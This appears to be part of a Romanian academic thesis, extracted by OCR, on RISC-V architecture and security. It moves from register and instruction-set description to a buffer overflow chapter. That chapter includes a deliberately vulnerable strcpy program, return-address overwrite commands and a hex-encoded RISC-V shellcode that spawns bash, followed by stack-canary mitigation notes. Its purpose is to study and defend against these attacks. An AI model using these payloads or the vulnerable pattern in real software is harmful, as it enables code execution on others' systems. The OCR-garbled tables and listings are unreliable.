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Capitolul 1

Motivatie

RISC-V este una dintre cele mai moderne arhitecturi conceputa astfel incat sa integreze
calitatile arhitecturilor mai vechi si sa elimine erorile descoperite de-a lungul timpului pe
acestea. Utilizata tot mai des, a adunat pana in prezent in comunitate in mai putin de 11

ani mai mult de 100 de firme membre.

De asemenea, scopul ei educativ este unul la fel de important fiind dezvoltata ca un proiect
de cercetare. Aceasta arhitectura este realizata astfel incat sa poata fi utilizata pentru tot
felul de componente electronice de la cei mai mici senzori pana la dispozitive extrem de

complexe precum un server.

Astfel, analiza securitatii este de o importanta vitala. Transparenta arhitecturii RISC-V,
precum si modalitatea in care este realizata prin despartirea diverselor operatii in seturi dife-
rite fac ca aceasta sa fie considerata una dintre cele mai sigure arhitecturi. Gasirea radacinii
unei erori devine o treaba mult mai usoara prin mentinerea unei simplitati la nivelul seturilor
utilizate. Practic, limitarea doar la seturile necesare implica evitarea posibilelor complicatii

ce ar putea fi aduse prin includerea necontrolata a tuturor instructiunilor.

Cu toate acestea, In diverse contexte, unele atacuri bine cunoscute pot fi iIn continuare
reproduse, iar tineretea arhitecturii isi spune cuvantul intrucat unele tehnici clasice de mi-
tigare a diverselor atacuri nu sunt inca implementate pentru RISC-V. Astfel, prezentarea
unei imagini de ansamblu este imperios necesara pentru a atrage atentia asupra posibilelor
riscuri si elimina deci eventualele erori, pastrand dispozitivele ce folosesc RISC-V extrem de

sigure, asa cum, de altfel, la baza aceasta arhitectura este proiectata.

In plus, frumusetea acestei arhitecturi constd tocmai in urcarea etapizati citre dobandi-
rea unei performante similare arhitecturilor moderne din zilele noastre, dar pe o ruta sigura,
care sa nu aduca aceleasi probleme in fata. Aceasta dezvoltare continua conduce bineinteles
la crearea de nuclee care sa Incerce sa atinga pragul cel mai Tnalt din punct de vedere al

performantei si securitatii. Un astfel de nucleu dezvoltat acum 3 ani este BOOM, un nucleu



cu executie speculativa care incearca sa se cladeasca fara a repeta greselile din trecut. Totusi,
proiectul nu a ajuns inca in acest punct si parte din problemele existente pe arhitecturile

speculative au fost aduse si aici.

In capitolele urmitoare va fi prezentat unul dintre cele mai de impact atacuri - Spectre
si modul in care acesta actioneaza pe acest nou nucleu RISC-V si de asemenea va fi propusa
o modalitate de mitigare a unei versiuni de atac. In mod evident, motivatia este dictati de
dorinta de a creste si de a aduce solutii pentru rezolvarea diverselor vulnerabilitati inca de

la inceputul proiectului.

Astfel acest studiu va reda cateva dintre problemele existente chiar si pe aceasta arhitectura
extrem de sigura, prezentand cateva tehnici de mitigare si introducand o noua modalitate de
aparare Impotriva atacului Spectre, versiunea a doua. Studiul va scoate la iveala necesitatea
de a scrie un cod cat mai corect si se va axa in principal pe tehnici prin care vulnerabilitatile
pot fi rezolvate de la nivel de cod, fara a se pune accentul pe solutiile implementate la nivel

hardware.



Capitolul 2

Arhitectura RISC-V

RISC-V este o arhitectura relativ noua dezvoltata in anul 2010 in cadrul departamentului
de Arhitectura Calculatoarelor de la Universitatea Berkeley din SUA. Evident, aceasta este
o arhitectura de tip RISC conceputa astfel incat sa pastreze instructiunile si conceptele

clasice, dar 1n acelasi timp sa permita diverse Variatii in functie de necesitati.

Initial, RISC-V a fost creata pentru a sprijini cercetarea si educatia, motiv pentru care
a fost publicata ca o arhitectura deschisa, gratuita pentru toti cei care doresc sa o folo-
seasca. A devenit rapid cunoscuta, accesibilitatea transformand-o intr-un punct de interes
pentru numerosi cercetatori. In mod clar, acesta a reprezentat un imens avantaj, dezvoltarea
instrumentelor pentru folosirea ei realizandu-se extrem de rapid in cadrul unui mediu atat

de competitiv.

Un alt avantaj considerabil este reprezentat de generalitatea ei. Cele mai utilizate arhi-
tecturi - X86 si ARM sunt folosite In domenii specifice si nu se preteaza la extinderea in
afara acestora. In schimb, RISC-V pleacd de la o forma minimali, cu un set instructiuni
limitat, oferind posibilitatea adaugarii a numeroase extensii. Astfel, poate fi utilizata atat
in cadrul aplicatiilor embedded unde rapiditatea si simplitatea sunt factori decisivi, cat si

pentru dezvoltarea eficienta de implementari sofisticate.

Mai mult de atat, realizarea acestui proiect a pornit de la zero, eliminand astfel orice con-
strangere legata de eventuale compatibilitati cu versiuni anterioare. Preluand lectiile invatate
de la alte procesoare mai vechi, RISC-V devine astfel in ochii a numeroase companii arhi-
tectura viitorului [26]. Dupa multi ani in care arhitecturile x86 si ARM au dominat piata,
exista o alternativa extrem de bine primita pentru care interesul este intr-o continua crestere

si despre care se preconizeaza ca va evolua foarte rapid [38].
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Figura 2.1: Predictia evolutiei numarului de procesoare RISC-V

2.1 Privire de ansablu asupra arhitecturii

Instructiunile de baza ale arhitecturii RISC-V sunt similare celorlalte arhitecturi RISC si
sunt suficiente pentru a oferi un target minimal in jurul caruia pot fi dezvoltate compila-
toare, asambloare, linkere si chiar sisteme de operare (cu un strat suplimentar de instructiuni

la nivel de supervisor).

Procesoarele RISC-V sunt procesoare de tip load-store, instructiunile fiind pe 32 de biti,
extrem de simple. Accesul la adrese din memorie se realizeaza doar prin registri, operatiile
aritmetice si logice putand fi aplicate numai asupra acestora. Ordonarea octetilor este de

tip little-endian, cel mai putin semnificativ byte situandu-se la cea mai mica adresa.

Asa cum am prezentat anterior, exista un set de instructiuni de baza. Procesoare spe-
cializate pentru diverse domenii pot fi apoi create in jurul acestui schelet prin adaugarea
extensiilor necesare. Un astfel de set de instructiuni este definit in primul rand de marimea
registrilor, existand trei variante - RV32I, RV64I si din anul 2019 si RV128I. Acestea implica
o mérime a spatiilor de adresa de 32, 64, respectiv 128 de biti. In al doilea rand, bineinteles,
setul este reprezentat de extensia utilizata. Vom mentiona in continuare cateva astfel se

seturi pentru arhitectura pe 64 de biti, pentru 32 si 128, existand seturi similare [39]:

o RV64I - setul de baza ce include instructiuni de Incarcare, stocare, instructiuni aritmetico-

logice, toate realizate pe intregi, precum si instructiuni de control al fluxului. Acestea

sunt obligatorii pentru orice implementare;
e« RV64M - la setul de baza se adauga instructiuni de multiplicare si diviziune pe intregi;

« RV64F - se adauga instructiuni pentru operatii aritmetice cu numere reprezentate in
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virgula mobila cu simpla precizie (float);

« RV64D - se adauga instructiuni pentru operatii aritmetice cu numere reprezentate in

virgula mobila cu dubla precizie (double);

« RV64A - se adauga instructiuni de citire, scriere si modificare a memoriei pentru

sincronizare inter-procese;

e RV64G - este target-ul de baza pentru compilatoarele actuale si cuprinde setul de

baza si toate extensiile descrise mai sus ("IMAFD");

o RV64C - este folosit pentru dispozitivele cu memorie limitata, comprimand instructiunile
de baza pe 16 biti.

Tot in sursa [39] sunt mentionate si alte extensii ce vor fi acceptate in viitor precum operatii

de manipulare a bitilor, operatii pe vectori etc.

Arhitectura RISC-V prezinta trei nivele de privilegii - Machine (M), User (U) si Super-
visor(S). Toate implementarile trebuie sa suporte nivelul masina, nivel la care poate fi rulat
direct cod in asamblare in cadrul micilor dispozitive embedded. Nivelul cu privilegii de utili-
zator este folosit pentru aplicatii mai complexe, incarcarea si Inceperea acestora avand loc la
nivelul M, controlul fiind apoi transferat catre nivelul U unde aplicatia este rulata. Pentru
utilizarea unui sistem de operare, in plus va fi folosit si nivelul de privilegii de supervizor
care va juca rolul de kernel. Comunicarea intre modurile U si S se realizeaza prin folosirea

unui apel se sistem la nivelul U care genereaza o exceptie tratata la nivelul S.

In acest context, in anul 2018, a fost lansata pe piati HiFive - prima placa cu procesor
de RISC-V capabila sa suporte Linux, Unix si FreeBSD.

2.2 RV64I1

In atacurile descrise in capitolele viitoare vor fi folosite instructiuni apartinind familiei
RV64G, dar intrucat operatiile vor fi destul de simple, prezentarea va fi limitata la acest

set de baza.

Exista 31 de registri generali x0-x31, dintre care doar 30 sunt utilizabili. Registrul x0
este fixat pentru a stoca Intotdeauna valoarea 0. Orice alt registru are o denumire speciala

si este folosit Intotdeauna in contexte clare:

o ra (x1) - return address, este folosit pentru a retine adresa de retur dintr-o functie.
Este un registru caller-saved - pentru regasirea valorii dupa apel este necesar sa fie

salvat de apelant;

» sp (x2) - stack pointer, indica intotdeauna catre varful stivei;



gp (x3) - global pointer, indica Inspre sectiunea de date, fiind utilizat in diverse procese

de relaxare a codului;

tp (x4) - thread pointer, utilizat pentru accesarea zonelor de memorie alocate special

pentru fire diferite de executie;

t0 - t6 (x5 - x7, x28 - x31) - registri folositi pentru stocarea unor valori temporare, de

tip caller-saved;

fp (sO sau x8) - frame pointer, indica intotdeauna baza stivei pentru cadrul de apel

curent si este un registru callee-saved care trebuie sa fie salvat de catre functia apelata;

sl - s11 (x9, x18 - x27) - registri uzuali a caror valoare nu este modificata in urma

unui apel, callee-saved;

a0 - al (x10, x11) - registri folositi pentru depozitarea argumentelor si returnarea

valorilor;

a2 - a7 (x12 - x17) - registri folositi doar pentru depozitarea argumentelor.

Pe langa acestia, exista bineinteles registrul special PC care stocheaza adrese pe 32 de biti

din zona de text, indicand catre instructiunea curenta.

Instructiunile au dimensiune fixa si sunt aliniate la 32 de biti. Recunoasterea lor se face

bazat pe 3 campuri opcode, funct7, funct3 si fac parte din 4 formate specifice. Astfel, o

instructiune poate fi de tipul R, avind ca operanzi trei registri - doua surse si o destinatie;

formatul I - un registru sursa, un registru destinatie si o valoare imediata; formatul S - 2

registri sursa si o valoare imediata si formatul U - un registru destinatie si o valoare imediata.

In plus, mai exista si formatele B si J cu aceeasi distribuire a bitilor precum in formatele

S si U. Ele sunt folosite in cadrul instructiunilor de salt, astfel ca bitii 0 si 1 din valoarea

imediata vor fi intotdeauna 0 si pot fi refolositi pentru stocarea a 2 biti suplimentari pentru

adrese pana la de 4 ori mai mari.

1 30 25 24 21 20 19 15 14 12 11 8 6 0

l

funet? | rs2 | rsl | funct3 | rd | opeode | R-type

l

imm|[11:0] J rsl | funectd | rd | opcode | [-type

l

imm|[11:5] | rs2 J rsl J funct3 [ imm 4:0] l opcode | S-type

[ imm[12] | imm[10:5] | rs2 | rsl | functd |imm[4:1] [ imm[11] | opeode | B-type

l

imm|31:12 rd opcode | U-type
| I YI

[ imm[20] | imm|10:1] | imm[11] | imm|19:12] | rd | opcode | J-type

Figura 2.2: Formatele instructiunilor din setul RV64I [39]

Exista 47 de instructiuni mostenite de la versiunea pe 32 de biti dintre care 39 sunt folosite

pentru operatii clasice si sunt similare celorlalte arhitecturi RISC. Celelalte 8 sunt utilizate
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pentru apeluri de sistem si masuratori de performanta.

d7sab 1 3 are loc salt la eticheta daca
nar r .
add/su . aduna e/scz} ere beq, bne, | primul operand este egal,
addi adunare cu un intreg cu blt, bltu, | diferit, mai mic, respectiv
: Semfl _ bge, bgeu | mai mare decat al doilea
sll, srl, shiftare logica la stanga (cu sau fara semn)
slli, srli : sau la .dreapt'au are loc salt la valoarea
sra, srai shiftare aritemetica la . imediati, iar registrul
dreapta Ja destinatic i !
estinatie ia valoarea pc +
and, andi 4
or, ori operatii logice pe biti face salt 1a o adrosa
xor, xori obtinutd prin adunarea
registrul destinatie este jalr dintre un registru si o
slt, slti, setat 1 daca primul valoare pe 12 biti (e folosit
sltu, sltui | operand este mai mic decat de obicei aldturi de auipc)
al doilea - . .
— — Tabela 2.2: Instructiuni de ramificare si salt
intregul pe 20 de biti se
lui incarca in bitii superiori ai Ib, lbu, incarca un byte, un
registrului destinatie lh, lhu, half-word sau un word in
intregul pe 20 de biti se Iw registrul destinatie
auipc incarca in bitii superiori depune din registru in
- sb, sh, sw .
din PC memorie
Tabela 2.1: Instructiuni aritmetice si logice Tabela 2.3: Instructiuni de transfer intre memorie si
registri

Pentru lucratul cu mai multe fire paralele, este necesar un mecanism de sincronizare a
executiei. Instructiunea fence primeste 2 operanzi. Primul specifica tipurile de accese
in memorie ce trebuie sa fie finalizate pana la realizarea altor accese in memorie specificate
in al doilea operand. Operatiile care pot fi specificate sunt de citire (r), de scriere (w) sau de
tip input/output (i/0). De exemplu, instructiunea fence ir, ow presupune ca orice operatie
de citire sau de introducere de input sa fie terminata pe oricare fir de executie inaintea de
realizare unei operatii de stocare sau afisare. In plus, mai exista si instructiunea fence. i

care se asigura ca orice stocare In memorie s-a incheiat pana finalizarea acesteia.

Pentru prezentarea instructiunilor de sistem, este nevoie sa precizam mai intai registrii de
control si stare (csr). Acestia sunt folositi pentru a retine informatii despre starea proce-
sorului, nivelul de privilegii in care se afla, informatii despre executie daca se genereaza o
exceptie s.a.m.d. Pentru setul de baza ei sunt In numar de 6: cycle si cycleh - partea
superioara si inferioara a unei valori pe 64 de biti ce reprezinta timpul calculat in cicluri;
time si timeh - pentru timpul real si inst si insth - numarul de instructiuni finalizate ale

caror rezultate sunt vizibile.

In plus, varianta pe 64 de biti adauga un numar de instructiuni cu rol similar celor descrise an-
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ecall apel de sistem

break breakpoint pentru debugger

valoarea dintr-un csr este mutata intr-un registru destinatie, iar valoarea
CSITW, CSITWi dintr-un registru sursa sau valoarea imediata este mutata in csr. Daca
registrul destinatie e x0, vechea valoare a lui csr nu se pastreaza.

CSTre, CSrrci, Similar, doar ca registrul sursa sau valoarea imediata specifica ce bit
csrrs, csrrsi din csr sa fie curatat /setat.

Tabela 2.4: Instructiuni de sistem

terior, dar folosind operanzi in varianta sign-extended: addiw, slliw, srliw, sraiw, addw,
subw, sllw, srlw, sraw. De asemenea, apar instructiunea lwu pentru incarcarea unei va-
lori pe 32 de biti in varianta sign-extended si instructiunile sd si 1d pentru operarea cu valori
pe 64 de biti.

Pe langa aceste instructiuni, procesorul accepta si o serie de pseudoinstructiuni care se
traduc in una sau mai multe instructiuni de baza. Cele mai importante sunt ilustrate in
tabelul 2.5.

nop addi x0, x0, 0
mv rd, rs addi rd, rs, 0
j offset jal x0, offset
jal offset salt adresa pe 20 de biti
call offset salt adresa pe 32 de biti
ret jalr x0, O(ra)
li rd, immed addi rd, x0, immed
beqz rs, offset beq rs, x0, offset

Tabela 2.5: Pseudoinstructiuni [26]

2.3 Conventia de apel

Transmiterea argumentelor intre functia apelanta si cea apelata se realizeaza prin registrii
a0 - a7, iar returnare valorilor prin a0 - al. Daca o functie are mai mult de opt parame-
tri sau mai mult de doua valori returnate, transmiterea se realizeaza si prin stiva. Astfel,
argumentele sunt incarcate inainte de apel, iar pentru valorile returnate apelantul aloca de
asemenea o zona corespunzatoare in care functia apelata va depune valori ca si cum ar fi

primit un argument prin referinta.

In cazul apelului unei functii de sistem, numarul specific al acesteia va fi retinut in re-
gistrul a7, registrii a0 - a5 fiind folositi In continuare pentru stocarea argumentelor, iar a6

fiind inutilizat. Codul de retur va fi memorat in registrul a0.
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Stiva creste 1n jos, de la adrese mari spre cele mici, iar stack pointer-ul trebuie sa fie aliniat
intotdeauna la 16 octeti (128 de biti). Controlul elementelor din stiva se face prin cei doi
pointeri care delimiteaza spatiul de adresa de pe stiva al unei functii - sp si £fp. Nu exista
instructiuni speciale pentru adaugarea sau scoaterea unui element din stiva. Stack pointer-ul

creste sau scade 1n functie de ceea ce trebuie adaugat sau sters de pe stiva.

adresa de retur
Alocare

pe stiva adresa veche a lui fp Spatiu de

adrese

Figura 2.3: Stiva

Apelul unei functii presupune realizarea unui cadru de apel. Astfel chiar daca specificatiile
din ABI [11] (Application Binary Interface) indica faptul ca ra este un registru caller-saved,
acest lucru nu este aplicabil in momentul crerii cadrului. In cazul in care acest registru este
folosit cu un alt scop, functia apelant nu trebuie sa se astepte ca valoarea sa fie restituita
dupd apel. In schimb, perceput ca registrul folosit pentru stocarea adresei de retur, el este
parte a cadrului de apel, reprezentand prima valoare depusa pe stiva In momentul intrarii

intr-o functie. Valoarea sa este restituita cand are loc Intoarcerea in functia principala.

In continuare, pe stiva este depus, de asemenea, £p, a carui valoare reprezinta baza spatiului
atribuit pentru functia apelata. Valoarea sa trebuie recuperata la intoarcerea din functie
pentru a se realiza o revenire corecta in spatiul apelantului. Mai departe, pe stiva vor fi

salvati registri callee-saved s1 - s11 si eventualele variabile locale.

Astfel, luand 1n calcul toate cele mentionate anterior, pe o arhitectura de 64 de biti, un

prolog si un epilog al unei functii in cea mai simpla varianta arata ca in fragmentele de cod

de mai jos.
1| addi s , —16 #adauga spatiu pe stiva
2| sw , 8( ) #salveaza valoarea adresei de intoarcere
3| sw , 0(=p) #salveaza valoarea frame pointer-ului
4| addi , , 16 #modifica baza stivei
Cod 2.1: Prolog functie
1| 1w , 0(=p) #recupereaza valoarea frame pointer-ului
2| 1w , 8(=p) #recupereaza valoarea adresei de intoarcere

9



3| addi s , 16 #reduce dimensiunea stivei

4| jr #intoarcerea in apelant

Cod 2.2: Epilog functie

10



Capitolul 3

Buffer overflow

3.1 Descrierea atacului

Buffer overflow este unul dintre cele mai cunoscute atacuri ce pot aparea in limbajele C,
C++ sau in asamblare. Desi aparut acum mai bine de 30 de ani, el reuseste inca sa produca
probleme. Un exemplu recent a fost descoperit chiar la finalul anului trecut, sistemele de
operare Solaris (9.0, 10.0 si 11.0) prezentand o vulnerabilitate care putea fi exploatata prin

acest atac [36].

Atacul presupune scrierea Intr-o zona de pe stiva sau heap, ce nu ar trebui sa fie accesi-
bila, prin scrierea intr-un vector fara verificarea dimensiunii lui. Depasirea spatiului alocat
pentru acesta duce indirect la posibilitatea de rescriere a unor zone adiacente lui. Astfel,

pot fi rescrise diferite variabile sau registri ce pot modifica total executia programului.

De cele mai multe ori, un buffer este stocat pe stiva, iar scrierea peste margine duce la
modificarea celorlalte variabile salvate local, frame pointer-ului, adresei de retur sau a altor
registri. O scriere necontrolata va duce in general la Intreruperea executiei si aparitia unei
exceptii. In schimb, un atacator poate controla zonele pe care si le doreste a fi modificate
si sa schimbe adresa retinuta de un pointer catre o functie sau sa modifice adresa de retur

astfel Incat controlul programului sa fie indreptat spre zona de cod ce se doreste a fi executata.

O astfel de incercare poate fi tradusa prin dorinta de a lansa in executie un shell pen-
tru a putea prelua controlul asupra intregului sistem. In cazul unui program vulnerabil in
care aceasta executie se realiza deja, dar doar intr-un context aparte, atacatorul poate realiza

cu usurinta lansarea doar prin scrierea adresei de retur catre zona de cod dorita.
Daca un astfel de apel nu se realiza intr-o zona din executabil, iar sistemul atacat este

unul nesigur, se poate injecta totusi propriul cod si modifica adresa de retur pentru a indica

spre codul introdus. Un astfel de cod poarta denumirea de shellcode.
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Vulnerabilitatea aceasta este introdusa prin cateva functii care nu tin de cont de lungimea
unui buffer in momentul scrierii in zona respectiva: gets, strcpy, strcat, scanf, getwd,
realpath. Folosirea acestor functii fie din neatentia dezvoltatorilor, fie prin perpetuarea lor

din versiuni extrem de vechi ale aplicatiei, va duce la compromiterea programului.

Astfel, indiferent de arhitectura este de o importanta vitala sa se cunoasca mai intai vulnerabilitatile
limbajelor si modul in care pot fi exploatate. Chiar daca RISC-V este una dintre cele mai
sigure arhitecturi, atacul de tip buffer overflow poate fi inca reprodus si a fost prezentat

pentru prima data in anul 2019 la Embedded Linuz Conference Europe [30].

3.2 Reproducerea atacului

Pentru reproducerea atacului a fost necesara descarcarea unei imagini de Fedora RISC-V
si rularea acesteia folosind emulatorul QEMU care simuleaza rularea pe un nucleu virtual
pe 64 de biti. Pentru aceasta au fost urmati pasii descrisi in sursa [2]. Imaginile Fedora
sunt realizate pentru arhitecturi pe 64 de biti si vin iIn mai multe forme - Nano, Minimal,
Developer si Gnome. Versiunea Developer a fost cea aleasa intrucat are deja instalate
pachetele necesare, iar ultima versiunea disponibila cu numarul 31 ofera tool-uri native ce

pot fi utilizate exact ca pe x86.
Compilatorul este configurat astfel incat sa emita In mod implicit instructiuni din setul
RV64GC si se va prefera aceasta utilizare intrucat diversitatea instructiunilor face posibila

o realizare mai usoara a atacului.

Pentru inceput sa consideram programul vulnerabil din caseta de mai jos.

//buffer_overflow.c
#include <stdio.h>

#include <string.h>
#include <stdlib.h>

void shell() {
system("/bin/bash");

© 00 =3 O Ut = W N =

—
=

void vulnerable (char #*input) {

11 char buf [120];

12 strcpy (buf, input);

13 printf ("%1x\n", buf);

14 printf ("%1x\n", &shell);

15 printf ("Vulnerable function\n");
16|}

17
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18| int main(int argc, char *xargv) {

19 if (argc < 2) {

20 printf ("Wrong number of arguments");
21 return -1;

22 }

23 vulnerable (argv [1]);

24 return O;

25|}

Cod 3.1: Program vulnerabil la un atac de tip buffer overflow

Programul primeste ca argument un string care va fi transmis functiei vulnerable. In
aceasta functie este declarat un vector de caractere de dimensiune 120 care va fi alocat pe
stiva si in care va fi copiat argumentul utilizindu-se functia nesigura strcpy care nu verifica
numarul de caractere copiate. Astfel, un argument cu mai mult de 120 de caractere va scrie
in afara memoriei alocate pentru vector. Asa cum a fost mentionat in capitolul anterior, in
descrierea formarii cadrului de apel, pentru acest program vor fi suprascrise in continuare

valorile frame pointer-ului si valoarea de ntoarcere din functie.

adresa de retur = &shell

adresa veche a lui fp =
“BBBBBBBB”

buf[120]="AA....AA”

Figura 3.1: Stiva functiei vulnerable din timpul atacului

Asadar, programul va ajunge in punctul in care va restaura valoarea adresei de intoarcere,
iar in finalul functiei va sari la valoarea indicata care In cazul scrierii a 136 de octeti, va fi
reprezentata de ultimii 8 octeti introdusi de utilizator. O introducere aleatoare ar conduce
in cele mai multe cazuri la aparitia unei exceptii Intrucat se incearca saltul la o zona de
memorie extrem de probabil invalida. Pentru a fructifica totusi aceasta vulnerabilitate vom
considera ultimii 8 octeti ca fiind adresa functiei shell care va deschide un terminal nou
pentru utilizator. Stiva va arata precum cea prezentata in figura 3.1. Programul a fost con-
ceput astfel incat sa ilustreze vulnerabilitatea studiata, astfel ca adresa acestei functii a fost
printata pe parcursul executiei. Aceasta totusi se putea afla si folosind un debugger intrucat
adresa la care codul este pozitionat este constanta. Acest tip de atac poarta denumirea de
return-to-libc (ret2libc) si presupune in general saltul la o functie din biblioteca standard
libc intrucat optiunile sunt mult mai numeroase. Este utilizat cu precadere pe arhitectura
x86 unde argumentele pot fi luate de pe stiva. Multumita conventiei de apel care presupune

transmiterea prin registri, folosirea lui in cazul RISC-V este posibila numai intr-un caz si-
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milar celui prezentat anterior.

sh-5.0% cat run_buffer_overflowl.sh

gcc buffer_overflow.c -o buffer_overflow_1

./buffer_overflow_1 $(python2 -c¢ "print('A'*120+'B'*8+'\x6e\x05\x01"')"
sh-5.0% ./run_buffer_overflowl.sh

3ffffff808

1056e

Vulnerable function

[riscv@fedora-riscv ~J]$% echo "Hello from bash!"
Hello from bash!

Figura 3.2: Suprascrierea adresei de retur cu adresa unei functii cunoscute

Avantajul introdus de acest program este reprezentat de existenta unei secvente de cod spre
care executia poate fi reorientati pentru a fi lansat un shell. In lipsa unui astfel de fragment,
trebuie realizati niste pasi suplimentari. Pentru aceasta vom considera din nou programul
vulnerabil de mai sus si vom incerca sa obtinem acelasi comportament, dar facand abstractie
de functia shell. Pentru reusita acestui atac, vom dezactiva mai intdi ASLR-ul, mecanism

despre care vom vorbi 1n sectiunea urmatoare.

Astfel, dorim sa obtinem un cod care va produce lansarea unui terminal, sa il pozitionam pe
stiva si sa suprascriem adresa de retur cu adresa de inceput a codului respectiv. O prima
etapa este sa construim un program in C format dintr-o functie execve care va fi apelata cu
argumentele "/bin/bash", 0 si 0 intrucat nu dorim sa transmitem niciun argument progra-
mului si nicio variabila de mediu. Pentru a evita declararea string-ului in sectiunea .rodata,
vom folosi In schimb conversia directa a sa In ASCII. Vom declara, deci, un vector de trei
intregi care va inlocui cele 9 caractere (un intreg este de tip word si poate retine patru
octeti, echivalentul a patru caractere). Adresa acestui vector va fi transmisa ca prim argu-
ment functiei. Compiland cu optiunea -S, vom obtine un prim cod in asamblare ce poate fi

utilizat pentru a lansa terminalul.

O prima problema identificata in cod este apelarea functiei execve din biblioteca standard
C. Intrucat codul in asamblare trebuie si functioneze independent este necesars o modifi-
care. Asadar in loc de apelarea acestei functii din biblioteca, vom realiza apelarea functiei
sistem cu acelasi nume. Vom cauta in fisierul /usr/include/asm-generic/unistd.h nu-
marul cu care este definita functia si vom descoperi ca execve se identifica prin 221. Aceasta
valoare va fi incarcata in registrul a7 si se va realiza apelul functiei sistem prin introducerea

instructiunii ecall.

Odata obtinut un cod de asamblare valid care poate fi executat in vederea obtinerii unei
linii de comanda, ne putem gandi la folosirea lui in cadrul programului. Introducerea lui
sub de forma de octeti ca argument al programului va ridica totusi o alta problema. Functia

strcpy care face posibila stocarea lui pe stiva, realizeaza copierea in locatia indicata pana
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la intalnirea un octet nul. In plus, datoritd formatului programului, primul argument va fi
considerat sirul de caractere pana la intalnirea unui spatiu. Pentru a putea, deci, obtine un
cod complet si corect sunt necesare cateva substitutii de instructiuni ce vor elimina existenta
octetilor \x00 si \x20 (codul ASCII pentru spatiu).

Folosind radare2, un tool utilizat pentru analiza binarelor, am identificat instructiunile

in a caror codificare se regasesc octetii specificati.

1/ 0x000100b6 0010 addi s , 32
2|/ 0x000100cO 2320f4fe sw , —32(=0)
3/ 0x000100e6 73000000 ecall

Cod 3.2: Instructiuni cu codificdri ce contin \x00 si \x20

Codul de asamblare initial poate fi consultat in Anexa A. Dupa cum se poate observa, nicio
valoare de pana in ecall nu este incircata relativ la s0. In schimb, sunt depuse valori relativ
la acesta. Codificarea impune modificarea valorii imediate, astfel ca tinand seama de cele
mentionate anterior, putem pune orice alta valoare, dar este preferabil sa fie mai mare decat

valoarea initiala 32. Instructiunea cu care va fi inlocuita va fi urmatoarea: addi s0, sp, 36.

Cea de-a doua instructiune este cea care pozitioneaza pe stiva prima dintre cele trei va-
lori. Obtinerea octetului \x20 are loc prin folosirea valorii imediate 32. Intrucat dorim s&
nu mai folosim aceasta valoare si in acelasi timp sa avem toate valorile din vector la spatii
de adrese continue, va trebui ca 32 sa nu apara nici la stocarea ultimului word. Astfel ca in
noua scriere vom depozita valorile la distanta —44, —40 si —36. Aceasta modificare implica
si modificarea adresei vectorului retinuta in a5. Instructiunea initiala addi a5,s0, -32 va

fi inlocuitd cu addi a5,s0, -44.

In final, instructiunea ecall are in component trei octeti de 0. In aceste conditii vom
crea codificarea sa si o vom pune pe stiva, urméand ca saltul sa se realizeze la executarea
acestei valori de pe stiva. Incarcam valoarea 0x73 (115) la o distanta de —240 de stack po-
inter. Ulterior mutam Intr-un registru adresa sp-276, folosindu-ne apoi de instructiunea jr
pentru a sari la executia bytecode-ului aflat la distanta 36 de registru. Situarea valorii la o
adresa atat de joasa se datoreaza includerii shellcode-ului in cadrul programului nostru initial

unde stiva era deja ocupata cu mult mai multe valori, evitand astfel o eventuala suprapunere.

Varianta finala a codului ce va fi inserat pe stiva se gaseste tot In Anexa A. Acesta va
fi preluat si pozitionat de la inceputul buffer-ului vulnerabil. Completarea pana la 120 de
caractere se va realiza cu caractere la intamplare. Apoi se vor adauga inca 8 caractere pen-
tru suprascrierea frame pointer-ului si in final adresa de inceput a vectorului va suprascrie

adresa de retur. O ilustrare a realizarii atacului este prezenta mai jos.
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sh-5.0% cat run_buffer_overflow2.sh

gcc buffer_overflow.c -o buffer_overflow_2 -z execstack
./buffer_overflow_2 “python2 -c 'print("\x01\x11\x06\xec\x22\xe8\x40\x
10\xb7\x67\x69\x6e\x9b\x87\xT7\x22\x23\x2a\xT4\xfc\xb7\x67\x61\x73\x9b
A\X87\XT7\x22\x23\x2c\XFA4\xFc\x93\x07\x80\x06\x23\x2e\xT4\xfc\x93\x07\x
44\ x Fd\x01\x46\x81\x45\x3e\x85\x93\x08\xd0\x0d\ x93\ x07\x30\x07\x23\x08
AXTFINXTO\X93\Xx07\xc1\xee\x67\x80\x47\x02\x81\x47\x3e\x85\xe2\x60\x42\x
64\ x05\x61\x82\x8OAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\ x08\ x

f8\xff\xff\x3f")"'"

sh-5.0% ./run_buffer_overflow2.sh

3Iffffff808

1056e

Vulnerable function

[riscv@fedora-riscv riscv]$ echo "Hello from bash!"
Hello from bash!

Figura 3.3: Suprascrierea adresei de retur cu adresa unei shellcode

3.3 Posibile tehnici de mitigare

Pentru evitarea unor astfel de atacuri exista cateva metode de protectie. Prima si probabil
cea mai grea este evident scrierea unui cod corect. Pe de o parte, orice scriere intr-un vector
ar trebui sa fie precedata de o verificare a dimensiunii, astfel incat limita de spatiu sa nu fie
incalcata. Pe de cealalta parte, utilizarea functiilor vulnerabile ar trebui sa aiba loc numai
in anumite contexte in care se cunoaste cu exactitate dimensiunea vectorului din care se

realizeaza copierea.

Pentru arhitecturile mai vechi, folosirea unor astfel de functii in contexte vulnerabile sau
accesarea elementelor ce se afla in afara spatiului alocat pot fi identificate prin utilizarea
unor programe de analiza statica si dinamica. Din pacate, prea putine programe de acest
tip au fost deocamdata portate pe RISC-V, iar cele existente trebuie s& fie cumparate. In
plus, in momentul de fata, arhitectura este folosita in special pentru dispozitive cu putine re-
surse, iar verificarea securitatii aplicatiilor vine cu un cost destul de mare in ceea ce priveste
performanta. Chiar si In contextul dezvoltarii instrumentelor de verificare si introducerii lor
in procesul de compilare sau executie, este In continuare extrem de probabil ca programatorii
sa nu opteze pentru folosirea lor. Astfel ca cea mai sigura metoda de preventie raméne in
continuarea cunoasterea riscurilor si scrierea de cod corect in conformitate cu standardele

de siguranta.

De asemenea, pentru evitarea rescrierii adresei de retur, compilatorul ofera optiunea
-fstack-protector care introduce pe stiva un numar aleator denumit stack cookie sau
stack canary. Valoarea aceasta este verificata la iesirea din functie pentru a se asigura ca

nu a fost modificata pe parcursul executiei.
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1| 1ui ,hhi(__stack_chk_guard)

2| 1d ,hlo(__stack_chk_guard) (=5)
3| sd , =24 (=0)

4

5| .

6

7| 1lui ,hhi(__stack_chk_guard)

8| 14 ,—=24(=0)

9[14d shlo(__stack_chk_guard) (=5)
10| beq ,o0,.L3

11| call __stack_chk_fail

12| .L3:

Cod 3.3: Stack canary

Acest mecanism de protectie poate fi si el pacalit, dar pentru aceasta este nevoie ca pro-
gramul sa prezinte o vulnerabilitate noua care sa conduca la printarea de valori de pe stiva.
